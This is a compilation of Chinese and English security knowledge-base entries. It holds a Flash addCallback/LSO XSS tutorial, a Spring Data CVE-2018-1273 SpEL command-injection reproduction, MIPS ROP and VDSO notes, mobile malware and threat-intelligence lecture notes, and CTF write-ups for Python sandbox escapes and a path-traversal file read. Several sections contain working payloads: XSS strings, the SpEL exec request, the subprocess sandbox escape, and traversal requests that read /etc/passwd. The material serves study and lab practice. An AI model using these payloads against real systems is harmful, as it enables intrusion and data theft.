### Flash缺陷参数-object的id可控
html与swf 通讯的时候，使用的是ExternalInterface.addCallback 函数，调用如下：
``` actionScript
function a(){
trace(“hi”);
}
```
`ExternalInterface.addCallback("myfunc",a);`
执行了函数之后，在html上可以通过使用函数名myfunc 来调用Flash中的函数a。
addCallback 的底层实现源代码：
``` actionScript
if ((((activeX == true)) && (!((objectID == null))))){
_evalJS((((("__Flash__addCallback(document.getElementById(\"" + objectID) + "\"), \"") + functionName) + "\");"));
};
```
objectID 为Flash的id，functionName为函数名称即 myfunc，因此当我们插入的Flash的id可控的时候，可能会出现xss问题。
本着学习的原则，本地创建了Flash文件，
``` actionScript
function a(){
trace("hi")
}
ExternalInterface.addCallback("myfunc",a)
```
x.html 页面：
``` html
<object id="xsstest"),(function(){if(!window.x){window.x=1;alert(1)}})(),
(""codeBase="http://fpdownload.macromedia.com/get/Flashplayer/current/swFlash.cab#version=8,0,0,0"
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">
<param name="movie" value = "./addCallback.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
```
访问该界面（IE8下测试）：
注意：在解析 object 标签时会把 &quot; 转回 "，但 `xsstest"),(function(){if(!window.x){window.x=1;alert(1)}})(),("` 这一段字符串被当作 text，不会闭合引号。 id 值传递给 document.getElementById 函数时已经是 `"`，故可以闭合这里的引号。
### Flash缺陷参数-addcallback与lso结合
这个问题出现的点在addCallback 声明的函数，在被html 界面js 执行之后的返回值攻击者可控，导致了xss问题。
ie 下 js 会这样处理 flash callback func 执行后的返回值：
```
eval(instance.CallFunction("<invoke name=\""+name+"\" returntype=\"javascript\">" + __flash__argumentsToXML
(arguments,0) + "</invoke>"));
```
ff and chrome 是这样的：
`eval(var __flash_temp = "returned value"; __flash_temp;)`
使用lso中首先会setlso，写入脏数据，然后getlso获取脏数据。
假如 login.taobao.com 上会加载一个 JSocket.swf，代码如下：
``` actionScript
function setlso(_arg1:String):Boolean{
var _local2:SharedObject = SharedObject.getLocal("kj");
_local2.data.key = _arg1;
_local2.flush();
return (true);
}
function getlso():String{
var _local1:SharedObject = SharedObject.getLocal("kj");
if(_local1.data.key == undefined){
return ("");
}
return (_local1.data.key);
}
ExternalInterface.addCallback("getlso",getlso)
ExternalInterface.addCallback("setlso",setlso)
```
x.html:
``` html
<html>
<body>
<object id="JSocket" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1"
codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="http://acjstb.aliyun.com/actionlog/flash/JSocket.swf">
<param name="allowScriptAccess" value="always">
<embed name="JSocket" src="http://acjstb.aliyun.com/actionlog/flash/JSocket.swf" width="1" height="1"
allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/
getflashplayer"> <!-- if not IE -->
</object>
<script>
function set(){document['JSocket'].setlso('aa\\";alert(document.domain);//aa');}
setTimeout("set()",5000);
</script>
</body>
</html>
```
当用户访问放在 A 站点 的 x.html 时，x.html 也加载 JSocket.swf，并 setlso 一个共享变量。当用户再去访问 login.taobao.com 时，使用 getlso 如 document['JSocket'].getlso() 获取共享变量，如上所示，js 会对callback 函数执行的返回值做处理，如 eval`(var __flash_temp = "aa\\";alert(document.domain);//aa ; __flash_temp;)` 这样就造成了攻击。
### 自动化扫描
对于 flash 造成的 xss 问题，目前除了反编译代码看危险函数外，比较主流的是根据 md5 匹配文件内容进行判断，因为出问题的基本是同个版本的 zeroCliboard.swf swfUpload.swf 等文件
### 跨站Flash
跨站Flash 即XSF，通过AS加载第三方的Flash文件，如果这个第三方Flash可以被控制，就可以实现XSF。 在AS2中使用loadMove 函数等加载第三方Flash。可以用文件名绕过，比如运行上传图片的地方，可以将 flash 代码文件命名为 gif 等后缀。
`_root.loadMovie(swf);`
在AS3中使用Loader类进行外部数据处理：
```
var param:Object = root.loaderInfo.parameters;
var swf:String = param["swf"];
var myLoader:Loader = new Loader();
var url:URLRequest = new URLRequest(swf);
myLoader.load(url);
addChild(myLoader);
allowScriptAccess 必须是 always 。
```
当第三方 evil.swf 被加载进目标 Flash 的上下文时，就受到了 目标 Flash 的沙盒限制，evil.swf 的能力如 allowScriptAccess、allowNetworking 继承自 目标 Flash 的设置。
|
sec-knowleage
|
# Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）
Spring Data是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。
参考链接：
- https://pivotal.io/security/cve-2018-1273
- https://xz.aliyun.com/t/2269
- https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c
## 环境搭建
执行下面命令启动漏洞环境：
```
docker compose up -d
```
稍等一会，环境启动后，访问`http://your-ip:8080/users`，将可以看到一个用户注册页面。
## 漏洞复现
参考前面链接中的Payload，在注册的时候抓包，并修改成如下数据包：
```
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
```
执行`docker compose exec spring bash`进入容器中，可见成功创建`/tmp/success`，说明命令执行成功：
|
sec-knowleage
|
### mips - ROP预备知识
架构回顾见： https://ctf-wiki.github.io/ctf-wiki/assembly/mips/readme-zh/
栈结构如图：
有几个特殊的地方需要注意
1. MIPS32架构中是没有EBP寄存器的，程序函数调用的时候是将当前栈指针向下移动 n 比特到该函数的 stack frame 存储组空间，函数返回的时候再加上偏移量恢复栈
2. 传参过程中，前四个参数$a0-$a3，多余的会保存在调用函数的预留的栈顶空间内
3. MIPS调用函数时会把函数的返回地址直接存入$RA 寄存器
### mips - ROP简单环境适配
我们目前以用户态的形式调试程序, 所以需要安装 且，qemu-user 等依赖
```bash
$ sudo apt install qemu-user
$ sudo apt install libc6-mipsel-cross
$ sudo mkdir /etc/qemu-binfmt
$ sudo ln -s /usr/mipsel-linux-gnu /etc/qemu-binfmt/mipsel
```
|
sec-knowleage
|
---
title: 移动恶意代码分析及威胁情报
date: 2020-01-15 23:45:58
tags: 移动安全
---
# 移动恶意应用分析
图：背景
## 恶意代码分析背景概述
### 背景
1.全面的移动威胁
2.移动生态环节面临的安全威胁
表面：黑灰产
里面：国家队
3.攻击手段的持续进化
4.恶意色情软件增长趋势
一般不用支付宝、微信，使用第三方
5.地下社工库
- 完成原始数据积累
- 完善的黑产分工协作体系
6.持续扩大的威胁面
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200115095230.png" style="zoom: 25%;" />
7.移动威胁从个人向组织迁移
### 基本概念
1.和产业链高度依存
2.生物学悖论
破坏性越大，传播性越差
3.病毒的生命周期
一般是1～2个月不到
4.国家意志
### 相关术语
- 木马
- 蠕虫
- 蓝牙蠕虫
- 后门
- 工具
### 命名体系
一般格式为：<病毒前缀>.<病毒名>.<病毒后缀>
e.g. Worm.Sasser.b
### 趋势
- 恶意代码规模保持稳定增长
- 恶意代码高度产业化
- 东南亚
- 移动端成为APT新战场
## 1. 安卓病毒分析
### APK格式介绍
参考前两天
### 恶意行为汇总
### 静态分析
#### 工具
- Smaliviewer
- APKTool
- Dex2jar
- JEB
- IDA
- AndroidKiller
- AndroidGuard # 偏学术性质
#### 方法
可参考绿盟的[手册](http://blog.nsfocus.net/tag/%E6%81%B6%E6%84%8F%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90%E6%89%8B%E5%86%8C/)
- 快读定位法
- 敏感API搜索
- 对比法
- 代码流程法
- 从Mainfest开始一步步看
- 遍历法
- JEB有重命名功能，一个个功能死磕，一般针对混淆非常严重的代码
### 动态分析
#### 工具/技术
- Andebug
- IDA
- Frida/XPosed/..
- Wireshark/tcpdump/..
#### 技术
- Smali Hook
- Xposed Hook
- Tips：忽略系统文件
- Tips：不要hook资源文件，可能失效
- Substrate native hook
- Frida hook # 建议使用Frida
### 分析系统（沙盒系统）
- DroidBox
- AndroGuard
- Inspeckage # 基于xposed
- RMS(antiy)
- cuckoo https://cuckoosandbox.org/
- 布谷鸟
### 人工分析实践知识
#### 模拟器
#### 数据包
联网请求数据包实例（Wireshark抓包）
寻找情报来源
#### 工具am
用talent模拟短信
#### IDA动静态
一般对
#### 在线系统
- VS
- Sandroid # 学术项目
- Koodous # 交流、分享，[链接](https://koodous.com/)
- Janus
## 2. 反病毒引擎
### 引擎结构
1.对象获取：各种资源文件的获取
2.对象检测：各种分析模式、脱壳、解包
3.对象处理：告知与处理
4.病毒库：基于知识积累的数据保障
### 特征库
### 配置
---
### 本地检测技术
#### 基础
应用的基础特征：文件Hash、内嵌文件Hash、证书等
#### 符号
应用内所包含的各类符号特征：配置符号信息、dex符号信息、其他可执行文件符号信息
#### 动态
基于行为的模型检测：行为监控、行为建模
---
### 体系建设
尽可能基于代码、已有的基础，进行拆解，二次分析
---
### AVL引擎本地检测逻辑
#### 大数据
1.降维
基于应用指纹的分类策略
2.实际运用
- 证书随机化特征
- 应用执行文件结构
- 基于图标的色情检测
- 基于文件的组织结构特征
- 基于决策树的行为检测模型
## 3. 移动威胁情报
### 威胁情报的定义
威胁情报是基于证据的知识，包括场景、机制、指标、含义和可操作的建议。
这些知识是关于现存的、或者是即将出现的针对资产的威胁或危险的，可为主体响应相关威胁或危险提供决策信息。
决策 —— 情报 —— 信息 —— 数据
### 威胁情报的体系
- 强烈的外在和内在的面向威胁的知识管理体系方法
- 情报是高度具备驱动力的数据流转和响应驱动体系
#### 面向威胁情报的大数据体系
- 数据采集 —— 数据萃取 —— 数据结构化 —— 归一化设计 —— 数据采集迭代
- 通过邮件和短信进行，在流量出口做检测
#### 自动化与人工结合的分析运行体系（情报驱动安全）
1.自动化流水线的检测和判别体系，大大减少人工作业的工作量
2.自动化动态分析
- 典型事件触发
- 行为事件监控
3.分析组
- 引擎工作引擎
- 基于**归一化**（标签类）数据结构的文件分类器
4.智能分析系统—— 静态 ｜ 动态 ｜ 机器学习 —— 相互补充
#### 威胁情报的困难金字塔
隐晦 —— Incident （最难）
复杂 —— TTP Relation
高对抗 —— TTP/Exploit, Malware
穿透 —— Evil Device(Mobile/IOT)
不可控 —— SDK/Third Parth
方式多样性 —— C2(Network/Other)
符号多样性 —— Symbol
繁琐，低效 —— Hash （最容易）
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200115200355.png" style="zoom: 33%;" />
- 有代码复用
- 对日志分析
#### 小结
1.体系化建设是根本
2.多方位合作（国\*局也要和其他厂商进一步合作）
3.找到适合自己的方式（找到自己的优势）
4.多体系合作
## 4. 恶意代码高级对抗
### 对抗分析工具（不让反编译等）
- Ptrace自身
...
### 对抗用户感知（不让用户知道）
- 隐藏图标
- 透明图标
- 静默下载/安装
- 预装（二次换装比较多）
- 植入知名应用
- 伪装系统应用
- ISP（互联网服务提供商）劫持
- 邮件
- 社工
### 反追踪（不让自己被追踪）
- 利用短链接
- 域名隐私保护
- 伪基站
- 动态DNS
- 盗用他人信息
- 使用云服务
- 入侵无关网站
### 环境对抗
- 沙箱检测
- 条件触发
- 结束杀软
- 动态加载
- ROOT提权（现在较难）
- 杀软检测
### 银弹
能力较弱，需要APT的情况下，购买第三方的情报
代码相同，需要客户侧写
### Application层
- 范围：各种APP
### Framework层
- 范围：各种API
- 案例：各种RAT（间\*谍\*软件）
### Kernel层
- 范围：系统各种驱动
- 案例：hackteam exploit
### 案例：RottlenSys
## 5. 威胁情报与溯源
### 攻击工具持续演变
萌芽期 —— 发展期（加壳）—— 中后期 —— 后移动攻防时代
中后期后面，武器化，漏洞，移动攻击开始武器化、定向化和组织化
### 移动终端已经成为APT的新战场
#### 基本规律
只与目标承载的资产资源和与更重要目标的关联度有关，基本不考虑难易
#### 三个特点
1.对移动应用
2.长期
3 应用高级攻击技术
#### 移动APT攻击
攻击者 ——> 手机终端 <——> 攻击对象
#### 攻击植入方式
1.鱼叉攻击
- 邮件
- 网站
- 短信
2.应用市场
3.论坛
4.应用市场
5.远程漏洞或intent schema url
6....
通常我们更关心木马、后门、间\*谍软件类的窃取人人的行为和信息的恶意代码。
社交网络的渗透可以进行用户侧写，使话术更加完美。
#### 案例：乌克兰
### 分析攻击思路与流程
1. 公开情报
2. 主动发现
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200115145755.png" style="zoom:50%;" />
国内未经授权的反制都是违法的
---
#### Android 高价值样本发现
溯源
复盘
场景
意图
#### Android证书分析
1.签名证书
2.时间
判断时间纬度，开发者在哪个时区，但不可信，可以被篡改、伪造
### 同源性检测
#### 家族同源性检测
1.恶意行为
2.攻击方式
3.攻击目标
- 地域
- 目标人群
- 特定行业
#### 资源同源性检测
1.控制域
- Whois信息
- 注册者
- 有效期
2.服务提供商及手机号
- 归属地
- 背景信息
3.邮箱
4.载荷
- 运行方式
- 关键行为
#### 文件
1.衍生物
- 可执行文件
2.程序资源文件
- 关键性界面布局
- 图片、音频和视频
- 核心文件
3.关键配置文件
4.文件大小
- 文件大小可以做参考，但不一定准确（但注意，威胁情报这快的一个原则就是，所有的信息都是不可信的，都需要进行交叉验证）
#### 代码同源性检测
1.程序名
2.签名证书
- 注意签名证书的时间，时区，判断其来源，但可伪造并不一定可信
3.核心流程
4.程序模块
5.编译信息
- 编译时间
- 编译器信息
6.作者信息
7.版权信息
8.文件大小
在分析代码流程时，最好移除第三方库，排除其他的关联。
#### 传播同源性检测
1.传播源
- 同域名
- 同手机
2.传播方式
- 短信
- 邮箱
- 网络推送
不要把第三方的二级域名等加入，这样溯源的关联会无限放大。
### 威胁情报平台
#### VirusTotal
国际最大的恶意代码库
https://www.virustotal.com/gui/home/upload
#### 安天insight （安天内部）
#### 微步在线
#### 360威胁情报平台
### 画像分析
#### 装机列表
// 安全行业的人，不要带着工作机去美国
- 身份、职业、性别、语言、偏好
- 设备类型：测试机、备用机、常用机
- **匿名通信、安全通信、VPN**
- **开发测试的木马**
#### IP轨迹
- 活动区域
- **V\*P\&N记录**
### CC信息分析
- 什么是CC服务器？
[链接](https://www.secpod.com/blog/command-and-control-servers-things-you-should-know/)
- 命令：nslookup, dig, whois
- 查询网站**（谨慎：线索泄漏）**：
- http://domainbigdata.com
- http://ipinfo.io
- http://www.virustotal.com
- 搜索引擎查询
### 社交网络等
社交网络是一个比较方便的挖掘攻击者或组织身份的一个手段
#### 社交网络：
- Linkdin
- Facebook/Twitter
- Weibo
#### 搜索引擎
- Google cache
#### 网站历史记录
- archive.org
### 回溯分析
- 攻击的时间跨度
- 通过遗留的信息回溯可能的攻击者
通过CC信息（Command&Control）回溯可能的攻击组织
- 通过语言、命名特点、时区
- 攻击技术和手法的演变、复杂度和拥有的资源
#### 难点
- IDC服务器，更换IP太过频繁
- 域名历史记录&样本制作时间
### 国际网络军火库
在各个国家，对各个公司、组织进行侧写，方便以后快速进行定位和分析，需要依靠大量的数据
### [1]美国
分工明确、产业化做得比较好
### [2]俄国
### 综合
高度武器化
其中Xagent系列
### 知识库
#### 从威胁情报看移动威胁分析
### 主动发现
## 6. 机器学习应用
误差往往不能接受，所以不能直接应用，需要配合人工
### 文件相似性检测
将文件抽象成树、图，从而通过比较树的相似性（这快比较成熟）来判断文件相似性
有结点、有权值的树来判断，避免了特征库的膨胀。
[QS]如何抽象？
### 聚类分析
凡是可以量化，就可以聚类分析。
如何量化？如何提取特征？
每个APK对应成一个向量，从而简易地进行聚类分析。
前置条件：样本有限；过滤有效（白名单，去掉不参与计算的），不能全部样本参与；28原则，头部准确，尾部无效且占比大
### 随机性识别
信息熵：对我们司空见惯的“不确定现象”的数学化度量
转移概率，由于人类的特定习惯，导致一些惯用的现象产生
算出正常文本的两个符号之间的平均转移概率。
利用文件的平均转移概率 —— 判断机器产生的情况 —— 判断机器产生恶意签名
### 色情应用识别
内容风控
包名随机、程序随机，通过对图片等的识别 —— 来识别应用
D Hash
Not suit for work Yahoo的一个色情内容识别库
https://github.com/yahoo/open_nsfw
### 扩展
扩： [IMP]目标侧写、与预计之间的偏差，情报工作需要进行大量的交叉验证，任何信息都是不可信的！
## 7. 基于样本运营的互联网风控（风控方面）
### 黑灰产现状
是个非常庞大的产业链，超过150W人
全控，QQ搜
### 领域
1.电商
2.视频
3.其他
### 工具
代理
隐藏真实IP
改机工具
更改串号
群控工具
根据指令执行对应操作设备农场
#### 黑化/行话
接码平台
猫池
卡商
养号
死粉/活粉/出粉
协议破解
设备农场/手机墙
### AVL的识别思路
- 应用 —— 装机列表 —— 设备指纹 —— IP
- 高 —————可信程度————— 低
风控部门，风险控制，置信区间
通过应用识别撞库、薅羊毛、代刷、网赚等，是一套乙方的风控体系
### 未来工作
1.设备指纹不可信/逐渐不可取
2.日志上传不及时
3.情报能力存疑
4.基础设置能力欠缺
---
1.SDK改造
网络状态识别
唯一标识符设计
特殊规则检出
2.扫描器研发
代理识别
VPN识别
生命周期验证（需要探活）
3.资源补充
接码接口（根据后台日志做碰撞，二次校验，交叉认证）
代理IP
黑卡获取
4.场景验证
## 8. 现状
### 海量设备应对
万分之三的误报率已经很低，但是基数很大
### 云与本地查杀
云适合消费场景，本地适合对安全要求高的场景
### 个体的价值
如何从个体的价值放大到高价值的云上
### 评价体系不一致
《移动互联网恶意代码描述规范》
中国互联网协会反网络病毒联盟
国外暂时没有统一的标准
### 木桶效应
互联网3G原则：girl， game，gamble
用户对提醒不在乎，中过病毒的人，反倒更可能再次中（使用习惯等原因）
信息泄漏（和社工结合危害更大
### 攻击过程专业化
国家力量的加入
### 攻受不对称
只能看见子弹打中了人，但不知道弹道、武器等
## Reference
### 学习资源
\[1][链接1](https://www.k0rz3n.com/2019/03/19/%E5%A8%81%E8%83%81%E6%83%85%E6%8A%A5%E6%A6%82%E5%BF%B5%E4%B8%8EAPT%E4%BA%8B%E4%BB%B6%E5%88%86%E6%9E%90%E6%A8%A1%E5%9E%8B%E6%A6%82%E8%BF%B0/)
\[2][链接2](https://www.google.com/search?sxsrf=ACYBGNTwLAVG06NvPj2R_4wMdv81k5y6-Q%3A1579058601026&source=hp&ei=qIUeXoy0PKuymAW0rr_wCg&q=%E5%A8%81%E8%83%81%E6%83%85%E6%8A%A5%E7%9A%84%E5%9B%B0%E9%9A%BE%E9%87%91%E5%AD%97%E5%A1%94&oq=%E5%A8%81%E8%83%81%E6%83%85%E6%8A%A5%E7%9A%84%E5%9B%B0%E9%9A%BE%E9%87%91%E5%AD%97%E5%A1%94&gs_l=psy-ab.3..35i362i39l10.2042.2042..2197...2.0..0.0.0.......0....2j1..gws-wiz.....10.P-7-oX7kiGY&ved=0ahUKEwiMqPfX04TnAhUrGaYKHTTXD64Q4dUDCAY&uact=5)
|
sec-knowleage
|
### VDSO介绍
什么是VDSO(Virtual Dynamically-linked Shared Object)呢？听其名字，大概是虚拟动态链接共享对象，所以说它应该是虚拟的，与虚拟内存一致，在计算机中本身并不存在。具体来说，它是将内核态的调用映射到用户地址空间的库。那么它为什么会存在呢？这是因为有些系统调用经常被用户使用，这就会出现大量的用户态与内核态切换的开销。通过vdso，我们可以大量减少这样的开销，同时也可以使得我们的路径更好。这里路径更好指的是，我们不需要使用传统的int 0x80来进行系统调用，不同的处理器实现了不同的快速系统调用指令
- intel实现了sysenter，sysexit
- amd实现了syscall，sysret
当不同的处理器架构实现了不同的指令时，自然就会出现兼容性问题，所以linux实现了vsyscall接口，在底层会根据具体的结构来进行具体操作。而vsyscall就实现在vdso中。
这里，我们顺便来看一下vdso，在Linux(kernel 2.6 or upper)中执行ldd /bin/sh, 会发现有个名字叫linux-vdso.so.1(老点的版本是linux-gate.so.1)的动态文件, 而系统中却找不到它, 它就是VDSO。 例如:
```shell
➜ ~ ldd /bin/sh
linux-vdso.so.1 => (0x00007ffd8ebf2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f84ff2f9000)
/lib64/ld-linux-x86-64.so.2 (0x0000560cae6eb000)
```
除了快速系统调用，glibc也提供了VDSO的支持, open(), read(), write(), gettimeofday()都可以直接使用VDSO中的实现。使得这些调用速度更快。 内核新特性在不影响glibc的情况下也可以更快的部署。
这里我们以intel的处理器为例，进行简单说明。
其中sysenter的参数传递方式与int 0x80一致，但是我们可能需要自己布置好 function prolog（32位为例）
```asm
push ebp
mov ebp,esp
```
此外，如果我们没有提供functtion prolog的话，我们还需要一个可以进行栈迁移的gadgets，以便于可以改变栈的位置。
|
sec-knowleage
|
grpunconv
===
用来关闭群组的投影密码
## 补充说明
**grpunconv命令** 用来关闭群组的投影密码。它会把密码从gshadow文件内，回存到group文件里。
### 语法
```shell
grpunconv
```
### 实例
未关闭的情况
```shell
cat /etc/gshadow | grep cdy
cdy:123456::
```
关闭影子密码
```shell
cat /etc/gshadow
cat: /etc/gshadow: 没有那个文件或目录
```
查看密码已经复制到`/etc/group`中了。
```shell
cat /etc/group | grep cdy
cdy:123456:1000:
```
|
sec-knowleage
|
# PySandbox 1 (misc, 121p, 52 solved)
```
nc pwn1.chal.ctf.westerns.tokyo 30001
```
In the challenge we get access to server which executes provided python code, as long as it passed the [sandbox](sandbox.py).
The sandbox parses the code into AST and then blacklists function calls and attribute access.
So we can for example execute `1+1` or `[1,2,3]` but we can't do `print(1)` or `list('abc')` or `[].len`.
To make it a bit easier to debug locally, we can simply add `print(repr(node))` at the start of `check(node)` function.
This way we will see how the expression we provide was parsed to AST.
The trick here is to notice that the structure used to traverse the AST tree is not complete.
It's visible when compared to the string documenting the tree structure.
For example we can see:
```
| ListComp(expr elt, comprehension* generators)
| SetComp(expr elt, comprehension* generators)
| DictComp(expr key, expr value, comprehension* generators)
```
But in the attributes to parse AST there is only:
```
'ListComp': ['elt'],
'SetComp': ['elt'],
'DictComp': ['key', 'value'],
```
This means that `ListComp` node has parameter `comprehension* generators` which is not checked by the sandbox!
We can verify this simply by sending `[1 for x in [eval('1+1')]]` which shows:
```
[<_ast.Expr object at 0x02938ED0>]
<_ast.Expr object at 0x02938ED0>
<_ast.ListComp object at 0x02938EF0>
<_ast.Num object at 0x02938F10>
```
As expected, the parser did not go into `generators` attribute of `ListComp`, and we could freely invoke code there.
Here for some reason we assummed that `builtins` won't be available (like when you exploit template injections), so we used a classis attribute chain to find `builtins` reference and import function.
We used chain: `().__class__.__base__.__subclasses__() if t.__name__ == 'Sized'][0].__len__.__globals__['__builtins__']`
So the final payload was:
```
[1 for x in [eval("sys.stdout.write(repr([t for t in ().__class__.__base__.__subclasses__() if t.__name__ == 'Sized'][0].__len__.__globals__['__builtins__']['__import__']('subprocess').check_output('cat flag', shell=True)))")]]
```
And there was `flag` file in the directory: `TWCTF{go_to_next_challenge_running_on_port_30002}`
# PySandbox 2 (misc, 126p, 48 solved)
The second part of the challenge looks very similar, but the vector we used to attack before is patched here.
The idea stays the same, we just need to find another vector, and we find one:
```
| Subscript(expr value, slice slice, expr_context ctx)
```
vs.
```
'Subscript': ['value'],
```
So the list subscript is not validated by the sandbox.
This means now we can just do `[1,2][0 if eval('1+1') is not None else 1]` and we get:
```
[<_ast.Expr object at 0x02648EF0>]
<_ast.Expr object at 0x02648EF0>
<_ast.Subscript object at 0x02648F10>
<_ast.List object at 0x02648F30>
[<_ast.Num object at 0x02648F50>, <_ast.Num object at 0x02648C70>]
<_ast.Num object at 0x02648F50>
<_ast.Num object at 0x02648C70>
1
```
As expected, the check did not venture inside the subscript code, and again we can invoke anything there.
We just re-use the same chain and grab the second flag with:
```
[1,2][0 if eval("sys.stdout.write(repr([t for t in ().__class__.__base__.__subclasses__() if t.__name__ == 'Sized'][0].__len__.__globals__['__builtins__']['__import__']('subprocess').check_output('cat flag', shell=True)))") is None else 1]
```
And this gives us: `TWCTF{baby_sandb0x_escape_with_pythons}`
|
sec-knowleage
|
# 机器学习算法实现
本小章节主要记录我学习机器学习算法，并代码实现的过程。
参考项目：
- 机器学习算法Python实现，https://github.com/lawlite19/MachineLearning_Python
- AI learning，https://github.com/apachecn/AiLearning
- Machine-Learning-With-Python，https://github.com/Thinkgamer/Machine-Learning-With-Python
- 斯坦福机器学习笔记，https://github.com/yoyoyohamapi/mit-ml
|
sec-knowleage
|
# Episode 0: Challenge 2
## Description
> After recent attacks, we’ve developed a search tool. Search the logs and discover what the attackers were after.
>
> Hint: Always search deeper.
A link to an online log search tool was attached.
## Solution
The link leads us to an online log search tool. The search term defaults to `aurora`, and we can search through several files available via a dropdown menu:
* hexdump.txt
* registry.txt
* exploit_unobfuscated.js
* filenames.txt
* hostnames.txt
* strings.txt
* exploit.js
If we search for `aurora` in the hexdump, we get:
```
0001bd30 61 5f 53 72 63 5c 41 75 72 6f 72 61 56 4e 43 5c |a_Src\AuroraVNC\|
```
Using the address on the left, we can try and dump the binary by searching for `0000`, `0001`, etc.:
```
00000000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 |MZ..............|
00000010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 |........@.......|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 |................|
00000040 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 |........!..L.!Th|
00000050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f |is program canno|
00000060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 |t be run in DOS |
00000070 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 |mode....$.......|
...
```
It looks like we get the binary used for [Operation Aurora](https://en.wikipedia.org/wiki/Operation_Aurora) over a decade ago. The contents of `exploit_unobfuscated.js` also seems related to the attack. However, none of this helps us. It's time to dig deeper.
Checking the sources, we see that the following logic takes care of communicating with the service's backend:
```html
<script>
function search() {
const file = document.getElementById("files").value;
const term = document.getElementById("searchterm").value;
const url = document.location.origin + "?file=" + escape(file) + "&term=" + escape(term);
if (term.length < 4) {
alert("Search term must be at least 4 characters long!");
return;
}
document.getElementById("found").value = "Loading...";
const xhr = new XMLHttpRequest();
xhr.onload = function() {
document.getElementById("found").value = xhr.responseText;
}
xhr.open("GET", url);
xhr.send();
}
</script>
```
Since we control the `file` parameter, let's see what else we can find:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001]
└─$ curl "https://aurora-web.h4ck.ctfcompetition.com/?file=../../etc/passwd&term=admin"
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
```
So there is a Local File Inclusion vulnerability here! Using this vulnerability, we can check the environment variables or leak the command line:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001]
└─$ curl "https://aurora-web.h4ck.ctfcompetition.com/?file=../../../proc/self/environ&term=flag" --output -
SERVER_NAME=aurora-web.h4ck.ctfcompetition.comSCRIPT_NAME=/cgi-bin/nsjail-perl-cgiREDIRECT_STATUS=200GATEWAY_INTERFACE=CGI/1.1SERVER_SOFTWARE=Apache/2.4.41 (Ubuntu)PATH_INFO=/index.plDOCUMENT_ROOT=/web-apps/perlPWD=/usr/lib/cgi-binREQUEST_URI=/?file=../../../proc/self/environ&term=flagPATH_TRANSLATED=/web-apps/perl/index.plSERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at aurora-web.h4ck.ctfcompetition.com Port 1337</address>
REQUEST_SCHEME=httpQUERY_STRING=file=../../../proc/self/environ&term=flagHTTP_X_FORWARDED_PROTO=httpsCONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/HTTP_X_CLOUD_TRACE_CONTEXT=bd21912e5d9e4094944b17c87febeb25/962831361846735586HTTP_ACCEPT=*/*REMOTE_PORT=9275SERVER_ADMIN=[no address given]HTTP_HOST=aurora-web.h4ck.ctfcompetition.comHTTP_X_FORWARDED_FOR=77.125.40.136, 34.149.231.39HTTP_CONNECTION=Keep-AliveSERVER_ADDR=10.120.4.254HTTP_USER_AGENT=curl/7.74.0CONTEXT_PREFIX=/cgi-bin/SHLVL=1REDIRECT_HANDLER=application/x-nsjail-httpd-perlHTTP_VIA=1.1 googleSERVER_PROTOCOL=HTTP/1.1REDIRECT_QUERY_STRING=file=../../../proc/self/environ&term=flagSERVER_PORT=1337SCRIPT_FILENAME=/usr/lib/cgi-bin/nsjail-perl-cgiREMOTE_ADDR=10.119.220.43PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binREDIRECT_URL=/index.plREQUEST_METHOD=GET_=/usr/bin/nsjail
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001]
└─$ curl "https://aurora-web.h4ck.ctfcompetition.com/?file=../../../proc/self/cmdline&term=usr/" --output -
/usr/bin/perl/web-apps/perl/index.pl
```
We see that the service is run from a perl script at `/web-apps/perl/index.pl` and can even leak some contents from it:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001]
└─$ curl "https://aurora-web.h4ck.ctfcompetition.com/?file=../../../web-apps/perl/index.pl&term=%20%20%20%20"
